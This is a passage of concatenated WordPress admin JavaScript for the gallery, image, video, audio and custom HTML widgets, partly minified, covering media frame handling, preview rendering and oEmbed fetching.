				selection.on( 'destroy', control.handleAttachmentDestroy );
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( ':focusable:first' ).focus();
		},

		/**
		 * Clear the selected attachment when it is deleted in the media select frame.
		 *
		 * @since 4.9.0
		 * @param {wp.media.models.Attachment} attachment - Attachment.
		 * @return {void}
		 */
		handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
			var control = this;
			control.model.set( {
				ids: _.difference(
					control.model.get( 'ids' ),
					[ attachment.id ]
				)
			} );
		}
	} );

	// Exports.
	component.controlConstructors.media_gallery = GalleryWidgetControl;
	component.modelConstructors.media_gallery = GalleryWidgetModel;

})( wp.mediaWidgets );
/**
 * @output wp-admin/js/widgets/media-image-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component, $ ) {
	'use strict';

	var ImageWidgetModel, ImageWidgetControl;

	/**
	 * Image widget model.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_image
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	ImageWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Image widget control.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{

		/**
		 * View events.
		 *
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-preview.populated': 'editMedia'
		} ),

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput;
			if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-image-preview' );
			previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) );
			previewContainer.addClass( 'populated' );

			linkInput = control.$el.find( '.link' );
			if ( ! linkInput.is( document.activeElement ) ) {
				fieldsContainer = control.$el.find( '.media-widget-fields' );
				fieldsTemplate = wp.template( 'wp-media-widget-image-fields' );
				fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) );
			}
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, updateCallback, defaultSync, metadata;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Needed or else none will not be selected if linkUrl is not also empty.
			if ( 'none' === metadata.link ) {
				metadata.linkUrl = '';
			}

			// Set up the media frame.
			mediaFrame = wp.media({
				frame: 'image',
				state: 'image-details',
				metadata: metadata
			});
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function() {
				var mediaProps, linkType;

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				mediaProps = mediaFrame.state().attributes.image.toJSON();
				linkType = mediaProps.link;
				mediaProps.link = mediaProps.linkUrl;
				control.selectedAttachment.set( mediaProps );
				control.displaySettings.set( 'link', linkType );

				control.model.set( _.extend(
					control.mapMediaToModelProps( mediaProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'image-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback );

			// Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function rejectedSync() {
				return $.Deferred().rejectWith( this ).promise();
			};
			mediaFrame.on( 'close', function onClose() {
				mediaFrame.detach();
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.open();
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return _.extend(
				component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ),
				{
					size: 'full',
					width: 0,
					height: 0
				}
			);
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * Prevent the image_title attribute from being initially set when adding an image from the media library.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this;
			return _.omit(
				component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ),
				'image_title'
			);
		},

		/**
		 * Map model props to preview template props.
		 *
		 * @return {Object} Preview template props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps, url;
			url = control.model.get( 'url' );
			previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control );
			previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : '';
			previewTemplateProps.link_url = control.model.get( 'link_url' );
			return previewTemplateProps;
		}
	});

	// Exports.
	component.controlConstructors.media_image = ImageWidgetControl;
	component.modelConstructors.media_image = ImageWidgetModel;

})( wp.mediaWidgets, jQuery );
/*! This file is auto-generated */
!function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets);/*! This file is auto-generated */
wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery);/**
 * @output wp-admin/js/widgets/media-audio-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame;

	/**
	 * Custom audio details frame that removes the replace-audio state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.AudioDetails
	 */
	AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.AudioDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'audio',
					id: 'add-audio-source',
					title: wp.media.view.l10n.audioAddSourceTitle,
					toolbar: 'add-audio-source',
					media: this.media,
					menu: false
				})
			]);
		}
	});

	/**
	 * Audio widget model.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	AudioWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Audio widget control.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-audio-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: control.model.get( 'attachment_id' ),
					src: attachmentUrl
				},
				error: control.model.get( 'error' )
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media audio-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new AudioDetailsMediaFrame({
				frame: 'audio',
				state: 'audio-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					control.model.defaults(),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'audio-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_audio = AudioWidgetControl;
	component.modelConstructors.media_audio = AudioWidgetModel;

})( wp.mediaWidgets );
/*! This file is auto-generated */
wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1<e.length&&(n=s.l10n.errorNotice.plural.replace("%d",String(e.length))),i.fields.content[0].setCustomValidity&&i.fields.content[0].setCustomValidity(n),wp.customize&&wp.customize.has(i.customizeSettingId)?((t=wp.customize(i.customizeSettingId)).notifications.remove("htmlhint_error"),0!==e.length&&t.notifications.add("htmlhint_error",new wp.customize.Notification("htmlhint_error",{message:n,type:"error"}))):0!==e.length?((t=a('<div class="inline notice notice-error notice-alt"></div>')).append(a("<p></p>",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0<e.length),t.updateErrorNotice(e)}}),t.editor=wp.codeEditor.initialize(t.fields.content,e),a(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":t.fields.content[0].id+"-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),a("#"+t.fields.content[0].id+"-label").on("click",function(){t.editor.codemirror.focus()}),t.fields.content.on("change",function(){this.value!==t.editor.codemirror.getValue()&&t.editor.codemirror.setValue(this.value)}),t.editor.codemirror.on("change",function(){var e=t.editor.codemirror.getValue();e!==t.fields.content.val()&&t.fields.content.val(e).trigger("change")}),t.editor.codemirror.on("blur",function(){t.contentUpdateBypassed&&t.syncContainer.find(".sync-input.content").trigger("change")}),wp.customize&&t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}))}}),s.widgetControls={},s.handleWidgetAdded=function(e,t){var i,n,o,d=t.find("> .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("<div></div>"),(o=t.find(".widget-content:first")).before(d),i=new 